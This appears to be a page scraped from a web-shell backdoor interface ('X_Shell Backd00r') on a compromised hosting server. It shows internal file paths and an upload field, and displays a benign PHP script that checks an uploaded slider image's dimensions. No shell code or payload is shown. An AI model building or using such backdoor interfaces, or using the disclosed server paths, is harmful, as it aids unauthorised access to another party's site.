[#] hm X_Shell Backd00r [#]

Current Path : /var/www/clients/client35/web46/web/admin/AppController/
Upload File :
Current File : /var/www/clients/client35/web46/web/admin/AppController/validar.php

<?php 

    $file = ($_FILES['url_slid']);

     $size=getimagesize($_FILES['url_slid']['tmp_name']);
        $ancho_imagen = $size[0];
        $alto_imagen  = $size[1];
     
         

        if(($ancho_imagen<980 and $ancho_imagen>900 ) and ($alto_imagen<320 and $alto_imagen>290) ) 
        { 
                $respuesta = "correcto";
                echo json_encode($respuesta);
        }
        else{

                $respuesta ="Error";
                echo json_encode($respuesta);

          }


 ?>

Mr.hm X_Shell Backd00r 1.0, Coded By Mr.hm X_Shell Backd00r